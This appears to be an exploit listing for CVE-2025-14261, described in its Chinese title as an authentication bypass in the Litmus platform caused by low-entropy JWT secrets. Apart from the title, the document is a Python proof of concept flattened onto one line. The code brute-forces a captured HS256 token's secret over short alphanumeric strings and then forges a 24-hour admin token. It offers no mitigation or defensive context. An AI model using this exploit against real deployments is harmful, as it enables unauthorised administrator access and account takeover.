CVE-2025-14261: Litmus平台JWT密钥熵不足导致认证绕过漏洞

import jwt import itertools import string from datetime import datetime, timedelta # JWT token captured from the target token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Character set for brute force (6 bytes = alphanumeric) charset = string.ascii_letters + string.digits def crack_jwt_secret(token, max_length=6): """ Brute force attack to crack weak JWT secret This PoC demonstrates the vulnerability due to insufficient entropy """ for length in range(1, max_length + 1): for attempt in itertools.product(charset, repeat=length): secret = ''.join(attempt) try: decoded = jwt.decode(token, secret, algorithms=['HS256']) print(f"[+] Secret found: {secret}") print(f"[+] Decoded payload: {decoded}") return secret except jwt.InvalidSignatureError: continue return None # Generate malicious token after cracking def forge_token(secret, user_id="admin", role="admin"): """ Forge a malicious JWT token using the cracked secret """ payload = { "sub": user_id, "role": role, "exp": datetime.utcnow() + timedelta(hours=24), "iat": datetime.utcnow() } forged_token = jwt.encode(payload, secret, algorithm='HS256') return forged_token # Usage example secret = crack_jwt_secret(token) if secret: malicious_token = forge_token(secret, user_id="admin", role="admin") print(f"Malicious token: {malicious_token}")